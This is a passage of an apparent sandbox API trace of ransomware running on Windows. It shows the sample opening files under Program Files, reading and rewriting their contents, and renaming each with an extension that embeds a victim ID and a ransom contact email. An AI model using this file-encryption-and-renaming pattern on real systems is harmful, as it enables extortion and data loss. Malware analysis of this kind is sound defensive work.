lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.103] WriteFile (in: hFile=0x4c0, lpBuffer=0x739e580*, nNumberOfBytesToWrite=0x9640, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x739e580*, lpNumberOfBytesWritten=0x447ff0c*=0x9640, lpOverlapped=0x0) returned 1 [0225.074] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.074] WriteFile (in: hFile=0x4c0, lpBuffer=0x73a7bbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73a7bbf*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.700] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.700] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.700] CloseHandle (hObject=0x4c0) returned 1 [0225.722] GetProcessHeap () returned 0x630000 [0225.722] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739e580 | out: hHeap=0x630000) returned 1 [0225.722] GetProcessHeap () returned 0x630000 [0225.722] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0225.722] GetProcessHeap () returned 0x630000 [0225.722] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177948 | out: hHeap=0x630000) returned 1 [0226.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c7a90ff, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9677, dwReserved0=0xb687496, dwReserved1=0x717640, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5000 [0226.665] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0226.665] Sleep (dwMilliseconds=0x1) [0228.715] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\wmprph.exe", len=0x30 | out: pbstr=0x447ff7c*="C:\\Program Files\\Windows Media Player\\wmprph.exe") returned 1 [0228.715] GetProcessHeap () returned 0x630000 [0228.715] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5154) returned 0x6fe3bb0 [0228.716] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmprph.exe" (normalized: "c:\\program files\\windows media player\\wmprph.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.717] Sleep (dwMilliseconds=0x1) [0228.730] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\wmlaunch.exe", len=0x32 | out: pbstr=0x447ff7c*="C:\\Program Files\\Windows Media Player\\wmlaunch.exe") returned 1 [0228.730] GetProcessHeap () returned 0x630000 [0228.730] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5140) returned 0x6fe3bb0 [0228.730] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmlaunch.exe" (normalized: "c:\\program files\\windows media player\\wmlaunch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.732] Sleep (dwMilliseconds=0x1) [0228.745] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Skins\\Revert.wmz", len=0x36 | out: pbstr=0x447ff7c*="C:\\Program Files\\Windows Media Player\\Skins\\Revert.wmz") returned 1 [0228.745] GetProcessHeap () returned 0x630000 [0228.745] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5138) returned 0x6fe3bb0 [0228.746] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\Revert.wmz" (normalized: "c:\\program files\\windows media player\\skins\\revert.wmz"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.748] Sleep (dwMilliseconds=0x1) [0228.762] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg", len=0x48 | out: pbstr=0x447ff7c*="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg") returned 1 [0228.762] GetProcessHeap () returned 0x630000 [0228.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5124) returned 0x6fe3bb0 [0228.763] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.763] Sleep (dwMilliseconds=0x1) [0228.777] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp", len=0x48 | out: pbstr=0x447ff7c*="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp") returned 1 [0228.777] GetProcessHeap () returned 0x630000 [0228.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5120) returned 0x6fe3bb0 [0228.777] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color32.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.777] Sleep (dwMilliseconds=0x1) [0228.794] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml", len=0x4b | out: pbstr=0x447ff7c*="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml") returned 1 [0228.794] GetProcessHeap () returned 0x630000 [0228.794] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x510c) returned 0x6fe3bb0 [0228.794] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.795] Sleep (dwMilliseconds=0x1) [0230.560] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x447ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgradeth2.xml") returned 1 [0230.560] GetProcessHeap () returned 0x630000 [0230.560] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50d8) returned 0x6fe3bb0 [0230.560] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0233.590] CloseHandle (hObject=0x6f8) returned 1 [0233.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0233.591] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.129] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5240 [0234.129] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0234.129] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-nl\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0234.130] GetProcessHeap () returned 0x630000 [0234.130] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3ad8 [0234.130] GetProcessHeap () returned 0x630000 [0234.130] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3920 [0234.130] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.130] ReadFile (in: hFile=0x6f8, lpBuffer=0x6f3ad8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3ad8*, lpNumberOfBytesRead=0x447ff0c*=0x180, lpOverlapped=0x0) returned 1 [0234.132] GetProcessHeap () returned 0x630000 [0234.132] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0234.132] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.132] WriteFile (in: hFile=0x6f8, lpBuffer=0x6f3920*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3920*, lpNumberOfBytesWritten=0x447ff0c*=0x180, lpOverlapped=0x0) returned 1 [0234.132] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.132] WriteFile (in: hFile=0x6f8, lpBuffer=0x6f3a9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3a9f*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.132] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.132] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.132] CloseHandle (hObject=0x6f8) returned 1 [0234.133] GetProcessHeap () returned 0x630000 [0234.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3920 | out: hHeap=0x630000) returned 1 [0234.133] GetProcessHeap () returned 0x630000 [0234.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3ad8 | out: hHeap=0x630000) returned 1 [0234.133] GetProcessHeap () returned 0x630000 [0234.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0235.169] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51802b8a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x447fd20, dwReserved1=0x6f3ad8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4e00 [0235.170] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0235.170] Sleep (dwMilliseconds=0x1) [0235.208] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x447ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgrade.xml") returned 1 [0235.208] GetProcessHeap () returned 0x630000 [0235.208] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5080) returned 0x6fe3bb0 [0235.208] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0235.209] CloseHandle (hObject=0x42c) returned 1 [0235.209] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.209] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.209] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.210] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x25a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0235.210] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.210] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0235.210] GetProcessHeap () returned 0x630000 [0235.210] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d8480 [0235.210] GetProcessHeap () returned 0x630000 [0235.210] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d77d8 [0235.210] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.210] ReadFile (in: hFile=0x42c, lpBuffer=0x6d8480, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8480*, lpNumberOfBytesRead=0x447ff0c*=0x240, lpOverlapped=0x0) returned 1 [0235.273] GetProcessHeap () returned 0x630000 [0235.273] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0235.273] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.273] WriteFile (in: hFile=0x42c, lpBuffer=0x6d77d8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d77d8*, lpNumberOfBytesWritten=0x447ff0c*=0x240, lpOverlapped=0x0) returned 1 [0235.273] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.273] WriteFile (in: hFile=0x42c, lpBuffer=0x6d7a17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7a17*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.273] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.274] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.274] CloseHandle (hObject=0x42c) returned 1 [0235.274] GetProcessHeap () returned 0x630000 [0235.274] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d77d8 | out: hHeap=0x630000) returned 1 [0235.274] GetProcessHeap () returned 0x630000 [0235.274] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d8480 | out: hHeap=0x630000) returned 1 [0235.274] GetProcessHeap () returned 0x630000 [0235.274] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0235.274] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x522e3816, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x447fd20, dwReserved1=0x6d8480, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0235.274] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.274] Sleep (dwMilliseconds=0x1) [0235.337] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\index.html", len=0x6f | out: pbstr=0x447ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\index.html") returned 1 [0235.337] GetProcessHeap () returned 0x630000 [0235.337] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5060) returned 0x6fe3bb0 [0235.337] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0235.337] CloseHandle (hObject=0x640) returned 1 [0235.337] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.337] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.338] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.338] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5200 [0235.338] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0235.338] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0235.338] GetProcessHeap () returned 0x630000 [0235.338] RtlAllocateHeap 